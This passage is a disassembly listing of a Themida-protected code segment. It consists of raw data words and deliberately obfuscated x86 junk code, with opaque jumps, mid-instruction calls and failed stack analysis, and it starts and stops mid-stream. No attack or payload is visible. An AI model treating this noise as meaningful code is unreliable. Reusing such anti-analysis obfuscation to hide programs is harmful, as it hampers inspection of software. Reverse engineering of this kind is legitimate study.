0AFB758F4h, 61E28166h, 66D98B78h, 0E8F957BBh, 0Bh, 0CCDD5F65h dd 0EC2B2286h, 0BFB8FF28h, 19D09309h, 0E9C38B58h, 7, 2C1391B3h dd 0E9F33B1Eh, 0Bh, 6B4D2DC2h, 24F55CCEh, 0E8A2ED6Fh, 10h dd 1D5B34D3h, 7D0D4666h, 7FD4B99Dh, 0B393D0E7h, 6659CB8Bh dd 8E0FCB8Bh, 3, 66D9BF0Fh, 0BF0FFE8Bh, 77BF66C2h, 0C9BF0F01h dd 198B0Fh, 14E90000h, 75000000h, 0DF0B9FF4h, 70348A31h dd 28EAF043h, 7327DE5Dh, 0FC2CF14Fh, 48C0Fh, 0BB660000h dd 0DE99AB0h, 69000000h, 12EB5B3Ah, 0A86E4E4h, 0D66C83B4h dd 0B0F9E181h, 0BF0F66F9h, 3850FF6h, 80000000h, 0F5607C5h dd 486h, 0D3BE6600h, 8B665E9Ah, 1F8E0FCFh, 0F000000h, 198Fh dd 13E800h, 0A59F0000h, 7213CF07h, 0FD9647F7h, 0A6190D2Ah dd 0AF1F4FE1h, 0D08B5B16h, 94B4D181h, 0B70F79AEh, 0E9CC8AD1h dd 0Bh, 287E6E96h, 4961BA91h, 0E924C83Dh, 0Fh, 716068C6h dd 0B0586CADh, 0ECE4D0Eh, 0FF54E83h, 385h, 0C9B70F00h dd 5BD08B56h, 6E9F5h, 85D90000h, 4AEADA84h, 2850Fh, 6BB60000h dd 13800Fh, 0EE90000h, 39000000h, 85E0932Fh, 7B027D5h dd 846DE890h, 6E882h, 74310000h, 427F89A8h, 0F900BE66h dd 5E95Fh, 46B00000h, 0F41AB27h, 0DF8BF2B7h, 12E9h, 99503600h dd 4689B17Dh, 73FC86FEh, 0DB80C6F2h, 66C9CCCEh, 0CAF5D881h dd 830Fh, 880F0000h, 6, 5628F181h, 0F531A61h, 0F55BF3BFh dd 810FD68Bh, 0 ; --------------------------------------------------------------------------- movzx edx, dx sub ebx, 3DE7D845h mov ax, 0F86h or ecx, 7F5824BBh mov dh, cl cmc movsx esi, si mov ecx, 10C9804Fh call near ptr loc_5CB7EA+2 push ebx push es or [ebx-966348Dh], eax mov ds:436C7ECAh, al or al, 7Bh loc_5CB7EA: ; CODE XREF: Themida_:005CB7D6p rcl dword ptr [ebp+53h], 0Fh mov bh, 0FAh pop esi pop eax push ebx pop eax movsx ecx, dx jmp loc_5CB806 ; --------------------------------------------------------------------------- dd 78E0306Ch, 2AEBD390h db 0EBh, 63h ; --------------------------------------------------------------------------- loc_5CB806: ; CODE XREF: Themida_:005CB7F7j mov dx, ax mov cx, 128Fh movzx eax, di js loc_5CB81C add edx, 6F6C68DBh loc_5CB81C: ; CODE XREF: Themida_:005CB810j call sub_5CB832 call near ptr 0EB65F6FFh clc cmpsd jmp far ptr 5D79h:0DCA87175h ; --------------------------------------------------------------------------- db 25h db 2Bh, 0B9h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_5CB832 proc near ; CODE XREF: Themida_:loc_5CB81Cp jmp sub_5CB849 sub_5CB832 endp ; --------------------------------------------------------------------------- db 0B7h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 0DEh, 0Dh, 85h dd 0CC6A15B0h, 396BD6A5h, 25243BE9h db 0Ch ; =============== S U B R O U T I N E ======================================= sub_5CB849 proc near ; CODE XREF: sub_5CB832j pop ecx jmp loc_5CB859 ; --------------------------------------------------------------------------- db 67h dd 774B10A9h, 0CDF8E159h db 0B9h ; --------------------------------------------------------------------------- loc_5CB859: ; CODE XREF: sub_5CB849+1j mov bh, 0E0h mov bx, 52D8h cld mov al, 0D9h jg $+6 and esi, 16A93CD8h adc eax, 5A2651ADh jmp loc_5CB88A ; --------------------------------------------------------------------------- db 0A9h, 0FFh, 73h dd 0F5786B87h, 0A53E5D48h, 634F75B0h db 0CDh, 2 ; --------------------------------------------------------------------------- loc_5CB88A: ; CODE XREF: sub_5CB849+2Bj mov edx, edi jbe loc_5CB895 movzx eax, bx loc_5CB895: ; CODE XREF: sub_5CB849+43j add bx, 0C4DCh call sub_5CB8AE setalc retn 189Dh sub_5CB849 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0C0h dd 0BD6CE064h, 57045A9Fh db 97h, 39h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_5CB8AE proc near ; CODE XREF: sub_5CB849+51p jmp sub_5CB8BC sub_5CB8AE endp ; --------------------------------------------------------------------------- db 74h ; --------------------------------------------------------------------------- or eax, 0B98AB433h loc_5CB8B9: ; CODE XREF: Themida_:005CB8BAj pop ebx loopne loc_5CB8B9 ; =============== S U B R O U T I N E ======================================= sub_5CB8BC proc near ; CODE XREF: sub_5CB8AEj pop ecx mov cx, 1318h adc ax, 260Bh mov ebx, esi mov si, 0C9D2h pusha jmp loc_5CB8E2 ; --------------------------------------------------------------------------- dw 6ABEh dd 2B70CCA7h, 14E77DAh, 0F745EDF8h db 70h, 0ACh ; --------------------------------------------------------------------------- loc_5CB8E2: ; CODE XREF: sub_5CB8BC+11j mov dh, cl popa mov cx, di jmp loc_5CB900 ; --------------------------------------------------------------------------- db 0Fh, 3Ah, 81h dd 0AC8A597Eh, 0EF6AB616h, 0BE804340h, 0CB2C0EA1h ; --------------------------------------------------------------------------- loc_5CB900: ; CODE XREF: sub_5CB8BC+2Cj mov esi, eax jmp loc_5CB914 ; --------------------------------------------------------------------------- db 7Ah dd 0F413F98Bh, 12DD7DCDh, 46606776h ; --------------------------------------------------------------------------- loc_5CB914: ; CODE XREF: sub_5CB8BC+46j jmp loc_5CB91F ; --------------------------------------------------------------------------- db 0Ah, 65h, 7Bh db 58h, 0D9h, 4Eh ; --------------------------------------------------------------------------- loc_5CB91F: ; CODE XREF: sub_5CB8BC:loc_5CB914j mov esi, edx jmp loc_5CB92B ; --------------------------------------------------------------------------- adc eax, 0D6A5CC6Ah loc_5CB92B: ; CODE XREF: sub_5CB8BC+65j jmp loc_5CB940 ; --------------------------------------------------------------------------- dd 0F4230F5Dh, 0EECA325Dh, 319D85D8h, 0EA613DF8h ; --------------------------------------------------------------------------- loc_5CB940: ; CODE XREF: sub_5CB8BC:loc_5CB92Bj pusha jno loc_5CB955 call sub_5CB954 neg dword ptr [esi+0Bh] sub al, 0D6h insb pop ebx push ebp sub_5CB8BC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5CB954 proc near ; CODE XREF: sub_5CB8BC+8Bp pop eax loc_5CB955: ; CODE XREF: sub_5CB8BC+85j jmp loc_5CB969 ; --------------------------------------------------------------------------- dw 4356h dd 9CCEAB7Eh, 6E620A9Ch, 0A310B152h db 75h ; --------------------------------------------------------------------------- loc_5CB969: ; CODE XREF: sub_5CB954:loc_5CB955j popa stc clc mov ax, bx push esi jbe loc_5CB977 clc loc_5CB977: ; CODE XREF: sub_5CB954+1Cj pop edx mov cl, 5Bh call near ptr loc_5CB986+1 jle short near ptr loc_5CB9D9+3 outsd cmp ah, [ecx-37h] push cs loc_5CB986: ; CODE XREF: sub_5CB954+26p test [ecx+7D8A23EAh], al sub_5CB954 endp ; sp-analysis failed cmp al, 5Ah mov esi, edx jmp loc_5CB9A5 ; --------------------------------------------------------------------------- db 91h, 6Bh, 92h dd 83085C53h, 24D08260h, 0FCD3D398h db 8Eh ; --------------------------------------------------------------------------- loc_5CB9A5: ; CODE XREF: Themida_:005CB990j movzx ebx, ax mov ch, 50h mov edi, 513FCF83h mov dx, bx mov ax, 0F00Dh mov edi, 6EEF1E60h add dh, 68h movzx ecx, ax jmp loc_5CB9D9 ; --------------------------------------------------------------------------- dw 0F8A6h dd 5965FD8h, 9F8AEA9Ah, 4F37C041h, 7A533095h db 64h ; --------------------------------------------------------------------------- loc_5CB9D9: ; CODE XREF: Themida_:005CB9C1j ; sub_5CB954+2Bj jmp loc_5CB9E4 ; --------------------------------------------------------------------------- dw 0E364h dd 22A91906h ; --------------------------------------------------------------------------- loc_5CB9E4: ; CODE XREF: Themida_:loc_5CB9D9j jnb loc_5CBA03 jmp loc_5CBA03 ; --------------------------------------------------------------------------- db 2Dh dd 56ACCA08h, 3B73F31Dh, 0EB71F636h, 772531C0h ; --------------------------------------------------------------------------- add edx, eax pop ds loc_5CBA03: ; CODE XREF: Themida_:loc_5CB9E4j ; Themida_:005CB9EAj mov ch, 7Fh mov cx, 83FAh jmp loc_5CBA16 ; --------------------------------------------------------------------------- dw 292Eh dd 0F98F5CE8h db 0Fh, 8Fh ; --------------------------------------------------------------------------- loc_5CBA16: ; CODE XREF: Themida_:005CBA09j add si, 0F82Ch jns loc_5CBA27 sub eax, 4A06063h loc_5CBA27: ; CODE XREF: Themida_:005CBA1Bj sub cx, 8CAh mov ax, 0E69Dh mov eax, 4CD7EDB8h jmp loc_5CBA4A ; --------------------------------------------------------------------------- dw 0BACDh dd 0B1752AB5h, 362D35B1h, 0BD2366A0h ; --------------------------------------------------------------------------- jl short loc_5CBA4B loc_5CBA4A: ; CODE XREF: Themida_:005CBA35j stc loc_5CBA4B: ; CODE XREF: Themida_:005CBA48j movzx edi, cx stc cld or cx, 0B4BAh mov dl, 58h jmp loc_5CBA6A ; --------------------------------------------------------------------------- dd 14536AE2h, 70B97194h, 0AAAE259Eh db 0EFh, 0 ; --------------------------------------------------------------------------- loc_5CBA6A: ; CODE XREF: Themida_:005CBA57j movsx ebx, bx push edi jbe loc_5CBA77 sbb ch, 0ADh loc_5CBA77: ; CODE XREF: Themida_:005CBA6Ej pop ebx push ecx push edi mov dx, di pop ebx pop eax add cx, 67BAh jg loc_5CBA8E mov dx, 0D1B9h ; CODE XREF: Themida_:005CBA9Aj loc_5CBA8E: ; CODE XREF: Themida_:005CBA84j ja loc_5CBAA6 call near ptr loc_5CBA9D+2 lahf jle short near ptr loc_5CBA8A+1 xchg eax, esp loc_5CBA9D: ; CODE XREF: Themida_:005CBA94p mov ds:830F30h, al ; --------------------------------------------------------------------------- dw 0 db 0, 59h ; --------------------------------------------------------------------------- loc_5CBAA6: ; CODE XREF: Themida_:loc_5CBA8Ej jmp loc_5CBAB6 ; --------------------------------------------------------------------------- db 2Dh dd 0BC4B97E9h, 1905DF7Fh db 2Eh, 67h ; --------------------------------------------------------------------------- loc_5CBAB6: ; CODE XREF: Themida_:loc_5CBAA6j jmp loc_5CBACB ; --------------------------------------------------------------------------- db 0FCh dd 44C48616h, 30C064A0h, 0F2C464D4h db 1, 0B4h, 10h ; --------------------------------------------------------------------------- loc_5CBACB: ; CODE XREF: Themida_:loc_5CBAB6j sbb edi, 5F9EC202h jmp loc_5CBAE7 ; --------------------------------------------------------------------------- dw 1653h dd 42F31683h, 0CA7D280Ah, 0C3D9078Fh ; --------------------------------------------------------------------------- cwde sub bl, bh loc_5CBAE7: ; CODE XREF: Themida_:005CBAD1j cmc movzx esi, bx mov dl, 4Fh jns loc_5CBAFD jmp loc_5CBAFD ; --------------------------------------------------------------------------- dd 35824FAEh db 0B0h ; --------------------------------------------------------------------------- loc_5CBAFD: ; CODE XREF: Themida_:005CBAEDj ; Themida_:005CBAF3j call near ptr loc_5CBB13+1 mov esp, 337D53C9h and al, 0DDh jnb short loc_5CBB88 adc edi, [eax] repne insd push esi sbb al, 95h dec edi loc_5CBB13: ; CODE XREF: Themida_:loc_5CBAFDp add ecx, [ebx+0FFC5AF9h] add dword ptr [eax], 0 ; --------------------------------------------------------------------------- dd 850F0000h, 2Fh, 10E8h, 36162C00h, 2057A75Bh, 38F041AFh dd 98DD53A9h, 14E932h, 0AAF70000h, 7788670Eh, 0FE40D4ECh dd 0C940B5D8h, 0E4D3BBBFh, 66598287h, 33C2E981h, 158F0Fh dd 10E90000h, 1D000000h, 3F2B13D6h, 0DF3CEC9Fh, 0E2FD9E38h dd 0E9031D66h, 14h, 2F5F272Ah, 201B1019h, 385111C3h, 3FAE2010h ; --------------------------------------------------------------------------- loc_5CBB88: ; CODE XREF: Themida_:005CBB09j mov eax, 5775FC30h jmp loc_5CBB98 ; --------------------------------------------------------------------------- mov word ptr [ebx-4DE2B031h], ss loc_5CBB98: ; CODE XREF: Themida_:005CBB8Dj pop eax mov ax, 4BBh jnb loc_5CBBBA pusha mov bh, 0BAh jmp loc_5CBBB9 ; --------------------------------------------------------------------------- db 0D0h dd 0F18DDB95h, 6B867782h, 26214889h ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- loc_5CBBB9: ; CODE XREF: Themida_:005CBBA6j popa loc_5CBBBA: ; CODE XREF: Themida_:005CBB9Dj push ecx mov edi, ecx pop edi ja loc_5CBBC6 mov ecx, eax loc_5CBBC6: ; CODE XREF: Themida_:005CBBBEj stc mov ecx, 4CD068DDh pusha push edi mov edi, 704D71B7h pop ecx mov eax, 33D6618Ch popa and edx, 0DB12372h movsx ecx, si jl loc_5CBBEA cld loc_5CBBEA: ; CODE XREF: Themida_:005CBBE3j jmp loc_5CBC01 ; --------------------------------------------------------------------------- db 25h dd 1AC4CC5Bh, 1659B264h, 11784779h, 42EA02B8h ; --------------------------------------------------------------------------- wait loc_5CBC01: ; CODE XREF: Themida_:loc_5CBBEAj mov si, 8483h mov ebx, 3638A236h mov bx, cx pusha or ax, 0B465h movsx ebx, di popa stc movsx edi, bx mov eax, 39A02B36h mov dx, 3323h push esi pop esi push esi mov si, 0E7E4h pop edi pusha mov di, dx stc popa jns loc_5CBC3C mov di, 957h loc_5CBC3C: ; CODE XREF: Themida_:005CBC32j jle loc_5CBC45 add bl, 14h loc_5CBC45: ; CODE XREF: Themida_:loc_5CBC3Cj mov al, 4 mov di, 6935h cld mov ah, 8Eh mov di, bx jmp loc_5CBC5D ; --------------------------------------------------------------------------- dw 5E05h dd 97CFCB09h db 0A1h ; --------------------------------------------------------------------------- loc_5CBC5D: ; CODE XREF: Themida_:005CBC51j call loc_5CBC73 push ecx pop ebp dec ebp sbb ecx, [edi+29h] aas lea ecx, ds:52821A32h pop ebp mov al, 0DDh cmpsd loc_5CBC73: ; CODE XREF: Themida_:loc_5CBC5Dp clc pop ebx mov dh, al sbb cx, 0E92Fh adc edx, 4E2AD1C0h mov ax, 0FF4h push esi call sub_5CBC9E fnsave byte ptr [edx-7D54AD88h] stc ; --------------------------------------------------------------------------- db 0C4h dd 18EC3BF1h, 0BB9C7B19h db 0DEh, 0B5h ; =============== S U B R O U T I N E ======================================= sub_5CBC9E proc near ; CODE XREF: Themida_:005CBC87p pop edi pop ebx mov si, 85D2h movzx ecx, si clc jmp loc_5CBCB3 ; --------------------------------------------------------------------------- db 4Ch, 0C8h, 0DDh db 8Fh, 0D0h, 8Bh ; --------------------------------------------------------------------------- loc_5CBCB3: ; CODE XREF: sub_5CBC9E+Aj push esi pusha jmp loc_5CBCBF ; --------------------------------------------------------------------------- dw 5477h db 53h, 0DEh, 5Dh ; --------------------------------------------------------------------------- loc_5CBCBF: ; CODE XREF: sub_5CBC9E+17j mov esi, ecx popa pop edx mov ah, cl sbb bl, 0BEh cmc pusha and dx, 8300h movsx ecx, bx popa jl loc_5CBCDC mov cx, ax loc_5CBCDC: ; CODE XREF: sub_5CBC9E+35j xor ax, 6991h push edi pop ebx jb loc_5CBCEC sbb ch, 0DAh loc_5CBCEC: ; CODE XREF: sub_5CBC9E+45j adc ebx, 38081294h mov cx, 0A83h adc dl, 49h mov di, 2CCEh jmp loc_5CBD0A ; --------------------------------------------------------------------------- dw 0BB9Bh dd 665A310Fh db 45h, 0B2h ; --------------------------------------------------------------------------- loc_5CBD0A: ; CODE XREF: sub_5CBC9E+5Fj mov esi, edi jge loc_5CBD17 pusha movsx edx, di popa loc_5CBD17: ; CODE XREF: sub_5CBC9E+6Ej mov eax, 1AA65E09h jnb loc_5CBD27 or bx, 0C86Ch loc_5CBD27: ; CODE XREF: sub_5CBC9E+7Ej add al, 7Ah movzx edx, si mov ecx, eax jnp loc_5CBD38 mov ax, dx loc_5CBD38: ; CODE XREF: sub_5CBC9E+91j sbb bx, 0E78Ah sbb ecx, 2BCACEFAh sub ah, 62h push ebx pop esi movsx edx, bx mov ah, 5Fh call sub_5CBD61 retn sub_5CBC9E endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 13h dd 74F952E6h, 635E5F90h, 80C02D2h ; --------------------------------------------------------------------------- push ebx ; =============== S U B R O U T I N E ======================================= sub_5CBD61 proc near ; CODE XREF: sub_5CBC9E+AFp cmc pop edi adc edi, 41DA3BEDh mov edx, 4D5F3B53h jge loc_5CBD79 mov edx, 120B78EEh loc_5CBD79: ; CODE XREF: sub_5CBD61+Dj pusha mov edx, 5495EAA0h jmp loc_5CBD8F ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 0FFh, 0EDh, 72h dd 7E25EEC1h db 15h, 0C8h, 8Ch ; --------------------------------------------------------------------------- loc_5CBD8F: ; CODE XREF: sub_5CBD61+1Ej popa sub cx, 3626h mov edi, 39E26626h mov esi, edi jmp loc_5CBDB0 ; --------------------------------------------------------------------------- db 53h, 0F4h, 8Dh dd 0D090DF64h, 2C04F942h, 0CE78BEF9h ; --------------------------------------------------------------------------- loc_5CBDB0: ; CODE XREF: sub_5CBD61+3Bj cmc and ecx, 51160D1Eh call near ptr loc_5CBDCB+3 call far ptr 9E8h:0CCBF0402h insd sbb ebp, [edi+43A90852h] sti loc_5CBDCB: ; CODE XREF: sub_5CBD61+56p mov esp, 0DB81280Fh sub_5CBD61 endp ; sp-analysis failed or eax, 5E257044h and di, 0D2DCh jmp loc_5CBDF2 ; --------------------------------------------------------------------------- xchg eax, edi push esi cmpsb adc dh, cl cmp eax, ebx add dl, [ebx+4Ch] xchg eax, edx push ds add [eax], ebp mov edx, 0E48ECB42h loc_5CBDF2: ; CODE XREF: Themida_:005CBDDAj call sub_5CBDFE iret ; --------------------------------------------------------------------------- dd 40177FC4h db 0DBh, 8Eh ; =============== S U B R O U T I N E ======================================= sub_5CBDFE proc near ; CODE XREF: Themida_:loc_5CBDF2p ; FUNCTION CHUNK AT 005CBE5C SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005CBE6D SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005CBE85 SIZE 0000001D BYTES pop ecx push esi xor bh, 8Fh pop edx jmp loc_5CBE1A ; --------------------------------------------------------------------------- db 93h, 5Fh, 0FBh dd 0E61C5958h, 9EFE955h, 5623512Ah db 0BAh, 0E0h ; --------------------------------------------------------------------------- loc_5CBE1A: ; CODE XREF: sub_5CBDFE+6j jg loc_5CBE3A pusha mov di, 151Fh jmp loc_5CBE39 ; --------------------------------------------------------------------------- dw 8A83h dd 0C757B43Eh, 8AB97BE4h, 4634100Ch db 0B3h ; --------------------------------------------------------------------------- loc_5CBE39: ; CODE XREF: sub_5CBDFE+27j popa loc_5CBE3A: ; CODE XREF: sub_5CBDFE:loc_5CBE1Aj jge loc_5CBE43 mov dx, bx loc_5CBE43: ; CODE XREF: sub_5CBDFE:loc_5CBE3Aj mov esi, eax jp loc_5CBE5C call near ptr loc_5CBE55+1 add eax, 658328Bh loc_5CBE55: ; CODE XREF: sub_5CBDFE+4Dp lock mov eax, 6E96143Fh sub_5CBDFE endp ; sp-analysis failed pop ebx ; START OF FUNCTION CHUNK FOR sub_5CBDFE loc_5CBE5C: ; CODE XREF: sub_5CBDFE+47j mov dl, 0B3h mov ecx, 5A3ABE1Fh jmp loc_5CBE6D ; END OF FUNCTION CHUNK FOR sub_5CBDFE ; --------------------------------------------------------------------------- cmc rcr bl, 0Eh push es ; START OF FUNCTION CHUNK FOR sub_5CBDFE loc_5CBE6D: ; CODE XREF: sub_5CBDFE+65j mov ax, bx mov bl, cl jmp loc_5CBE85 ; END OF FUNCTION CHUNK FOR sub_5CBDFE ; --------------------------------------------------------------------------- db 7Ah dd 0C4500B42h, 158FC8DEh, 6B9FF2Fh db 87h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5CBDFE loc_5CBE85: ; CODE XREF: sub_5CBDFE+74j ja loc_5CBEA7 call sub_5CBEA2 shl dword ptr [edi+308C602Dh], 0C0h or al, 0C6h mov al, [ebx] xor eax, 8BB0FBB7h aas aas ; END OF FUNCTION CHUNK FOR sub_5CBDFE ; =============== S U B R O U T I N E ======================================= sub_5CBEA2 proc near ; CODE XREF: sub_5CBDFE+8Dp mov si, 0D0EFh pop ecx loc_5CBEA7: ; CODE XREF: sub_5CBDFE:loc_5CBE85j jno loc_5CBEB2 xor cx, 853h loc_5CBEB2: ; CODE XREF: sub_5CBEA2:loc_5CBEA7j mov di, 0A7FFh stc jmp loc_5CBEC3 ; --------------------------------------------------------------------------- dd 89CB83E1h db 0E8h, 0BCh, 6Ah ; --------------------------------------------------------------------------- loc_5CBEC3: ; CODE XREF: sub_5CBEA2+15j mov ax, si call sub_5CBED5 mov dword ptr [edx], 0E6F253C8h push ebx push eax pop esp push edi sub_5CBEA2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5CBED5 proc near ; CODE XREF: sub_5CBEA2+24p mov edx, 512110AAh pop esi xor al, 0E9h mov dx, bx adc si, 0BA5Eh mov edx, eax jmp loc_5CBEF5 ; --------------------------------------------------------------------------- align 2 dw 2B1Ch dd 4C36A1D6h db 87h ; --------------------------------------------------------------------------- loc_5CBEF5: ; CODE XREF: sub_5CBED5+13j push edi adc edx, 49394DE5h pop edi pusha and ax, 1A19h mov dl, 58h popa jle loc_5CBF12 add ecx, 18461E3Bh loc_5CBF12: ; CODE XREF: sub_5CBED5+31j and dx, 0B249h mov al, 0EAh call near ptr loc_5CBF23+1 lodsd fmul qword ptr [ebp+eax*2+30h] loc_5CBF23: ; CODE XREF: sub_5CBED5+44p mov ds:5A8DC180h, eax sub_5CBED5 endp ; sp-analysis failed mov di, 0CD1Dh mov esi, 46CF9CCBh movsx esi, bx mov eax, edi mov al, cl mov di, 0E3FDh movsx ebx, di movzx ebx, di mov bx, ax push edi sbb bx, 0BC3Fh pop ebx js $+6 mov si, bx mov edx, edi jmp loc_5CBF63 ; --------------------------------------------------------------------------- dd 620EBF36h ; --------------------------------------------------------------------------- retf 0F43Eh ; --------------------------------------------------------------------------- loc_5CBF63: ; CODE XREF: Themida_:005CBF57j jmp loc_5CBF72 ; --------------------------------------------------------------------------- dd 210DA28Bh, 0F6E55431h db 26h, 0C2h ; --------------------------------------------------------------------------- loc_5CBF72: ; CODE XREF: Themida_:loc_5CBF63j mov si, cx push eax or dh, 0A3h pop ecx mov eax, 6B258475h movzx esi, di movsx ecx, bx call sub_5CBF95 ; --------------------------------------------------------------------------- xchg eax, esp retf ; --------------------------------------------------------------------------- dd 4F9C4F68h, 2471B9A0h ; --------------------------------------------------------------------------- stosd ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_5CBF95 proc near ; CODE XREF: Themida_:005CBF85p push eax pop eax pop ecx sub ecx, 3BF9C9E7h push ebx mov edi, 485A58C2h pop esi adc edi, 430A44E9h jb $+6 movsx edx, ax pusha and ah, 2Ch popa xor si, 60A4h jmp loc_5CBFCC ; --------------------------------------------------------------------------- db 3 dd 0E259268Fh, 0CF36A2EAh ; --------------------------------------------------------------------------- loc_5CBFCC: ; CODE XREF: sub_5CBF95+29j mov eax, 2A55F1BCh pusha call sub_5CBFE1 cwde jmp far ptr 0BCADh:817BCC00h ; CODE XREF: Themida_:005CBFFFj sub_5CBF95 endp ; sp-analysis failed ; --------------------------------------------------------------------------- stc scasb ; =============== S U B R O U T I N E ======================================= sub_5CBFE1 proc near ; CODE XREF: sub_5CBF95+3Dp call near ptr loc_5CBFF3+2 call far ptr 0E192h:1A8DC29h add ebx, [edx] leave push ecx inc eax push ebp loc_5CBFF3: ; CODE XREF: sub_5CBFE1p mov ds:0F5F5B28h, eax sub_5CBFE1 endp ; sp-analysis failed add dword ptr ds:66000000h, 0FFFFFF81h repne jo short near ptr loc_5CBFD8+2 popa mov cx, dx jb loc_5CC020 jmp loc_5CC020 ; --------------------------------------------------------------------------- db 27h, 0EFh, 7 dd 0DAC1A679h, 58F460C5h, 67DABB28h ; --------------------------------------------------------------------------- loc_5CC020: ; CODE XREF: Themida_:005CC006j ; Themida_:005CC00Cj pusha pusha mov eax, 1C9D7AA5h mov eax, 3E89EC31h popa call near ptr loc_5CC036+2 popa db 36h or al, 1Ch loc_5CC036: ; CODE XREF: Themida_:005CC02Dp imul edi, 5Bh popa or al, 24h mov cl, 5 mov edx, esi mov ax, dx jz loc_5CC05B call near ptr loc_5CC056+3 or ebp, [ebp+15h] test ecx, eax sbb al, 47h loc_5CC056: ; CODE XREF: Themida_:005CC04Ap and eax, 5AF524CDh loc_5CC05B: ; CODE XREF: Themida_:005CC044j pusha movzx esi, bx jmp loc_5CC077 ; --------------------------------------------------------------------------- dd 686D84C6h, 0C92AD151h, 22C31BC1h, 8C800146h ; --------------------------------------------------------------------------- ror dh, 1 sti loc_5CC077: ; CODE XREF: Themida_:005CC05Fj popa pusha mov ebx, 5605095Fh mov ecx, 6C86E750h popa pusha js loc_5CC08E movsx esi, di loc_5CC08E: ; CODE XREF: Themida_:005CC085j or cx, 70A6h popa ja loc_5CC09C mov edi, ecx loc_5CC09C: ; CODE XREF: Themida_:005CC094j jmp loc_5CC0A8 ; --------------------------------------------------------------------------- loc_5CC0A1: ; CODE XREF: Themida_:005CC0F4j popf js short near ptr loc_5CC0C9+2 ; --------------------------------------------------------------------------- dd 8D7B58BDh ; --------------------------------------------------------------------------- loc_5CC0A8: ; CODE XREF: Themida_:loc_5CC09Cj jle loc_5CC0B5 push edx add ax, 3CD0h pop ecx loc_5CC0B5: ; CODE XREF: Themida_:loc_5CC0A8j jmp loc_5CC0C9 ; --------------------------------------------------------------------------- dw 0EC92h dd 1F2C2221h, 0EBCEC0E2h, 0C7F0F627h db 0E7h ; --------------------------------------------------------------------------- loc_5CC0C9: ; CODE XREF: Themida_:loc_5CC0B5j ; Themida_:005CC0A2j mov di, 0B789h jz loc_5CC0DF jno loc_5CC0DF ja $+6 loc_5CC0DF: ; CODE XREF: Themida_:005CC0CDj ; Themida_:005CC0D3j movzx edi, bx movzx ecx, si adc ebx, 0B89486Fh cld mov bh, 3Eh call near ptr loc_5CC0FC+2 xchg eax, ecx js short loc_5CC0A1 xor [ecx], ch dec edx in eax, 6Ch push eax loc_5CC0FC: ; CODE XREF: Themida_:005CC0EEp mov edi, 52BF66B8h pop eax pop ecx jmp loc_5CC110 ; --------------------------------------------------------------------------- inc edx cmp al, dh cwde aad 0FCh test al, 0A1h loc_5CC110: ; CODE XREF: Themida_:005CC103j jmp loc_5CC11A ; --------------------------------------------------------------------------- db 94h, 4Dh, 6Ch db 0F8h, 2Eh ; --------------------------------------------------------------------------- loc_5CC11A: ; CODE XREF: Themida_:loc_5CC110j pusha push ebx mov ebx, 7394ABF9h pop edx jmp loc_5CC13A ; --------------------------------------------------------------------------- db 34h dd 236542C4h, 0BB76DE8Ah, 0C8927E18h, 637D83D3h ; --------------------------------------------------------------------------- sti pushf loc_5CC13A: ; CODE XREF: Themida_:005CC122j popa sub edx, 5253A1D3h mov dx, bx jle loc_5CC159 jmp loc_5CC159 ; --------------------------------------------------------------------------- db 9Ch dd 0B17EA9ADh, 5DFE3F44h db 44h ; --------------------------------------------------------------------------- loc_5CC159: ; CODE XREF: Themida_:005CC144j ; Themida_:005CC14Aj mov cx, 884Dh movsx edx, dx sub ecx, 3751582Dh mov cx, 96DDh ; CODE XREF: Themida_:005CC1E5j jmp loc_5CC174 ; --------------------------------------------------------------------------- mov eax, ds:7C6F0DF8h loc_5CC174: ; CODE XREF: Themida_:005CC16Aj sub eax, 78ACFC72h call near ptr loc_5CC191+1 adc esi, ebx sub [ebx], edi db 64h mov ebp, 72737C47h pop ss pop ebp mov ds:2772E3B0h, eax pop ss loc_5CC191: ; CODE XREF: Themida_:005CC17Ap mov eax, 0F1805AF5h rcl dword ptr [ecx+66h], 8Bh setalc pop ebx jmp loc_5CC1AF ; --------------------------------------------------------------------------- pop esi lds ebp, [ebx+ebx-1B182CF4h] wait retf 76FDh ; --------------------------------------------------------------------------- db 18h, 73h ; --------------------------------------------------------------------------- loc_5CC1AF: ; CODE XREF: Themida_:005CC19Cj ; Themida_:005CC229j jmp loc_5CC1C5 ; --------------------------------------------------------------------------- dd 8F978D79h, 3DA0730Ah, 0B51C7619h, 1DF288FCh ; --------------------------------------------------------------------------- aaa loc_5CC1C5: ; CODE XREF: Themida_:loc_5CC1AFj jo near ptr loc_5CC1D2+6 call near ptr loc_5CC1D2+5 out 1Dh, eax loc_5CC1D2: ; CODE XREF: Themida_:005CC1CBp ; Themida_:loc_5CC1C5j call far ptr 6658h:0D6033D12h mov eax, 81665027h neg byte ptr [ebx] cmp eax, 0C142BBBEh jo short near ptr loc_5CC166+2 not byte ptr ds:0F852B0A2h jmp loc_5CC205 ; --------------------------------------------------------------------------- dw 0CE25h dd 8EE952B6h, 167CBCDAh, 7E6E9606h, 61BA9128h ; --------------------------------------------------------------------------- dec ecx loc_5CC205: ; CODE XREF: Themida_:005CC1EDj clc mov bx, dx mov ecx, 2D52CCEDh movzx edx, cx jb loc_5CC21C mov ecx, 396C5E71h loc_5CC21C: ; CODE XREF: Themida_:005CC211j or bx, 0FECEh sub al, 0C7h call near ptr loc_5CC22C+4 loop near ptr loc_5CC1AF+1 pop edi loc_5CC22C: ; CODE XREF: Themida_:005CC224p cmp eax, 0E92A268Eh or eax, [eax] ; --------------------------------------------------------------------------- db 0 dd 43875B00h, 0F2905139h, 6B628975h, 0C281665Fh, 5853D7A7h dd 52FE8B66h, 2860Fh, 0E78A0000h, 8F0F605Bh, 3, 81A3C980h dd 81D7DCCFh, 0F18B6165h, 5DBA69B0h, 0E922A67Bh, 10h, 3F3AD4Eh dd 0BDDD566Ch, 885F6A46h, 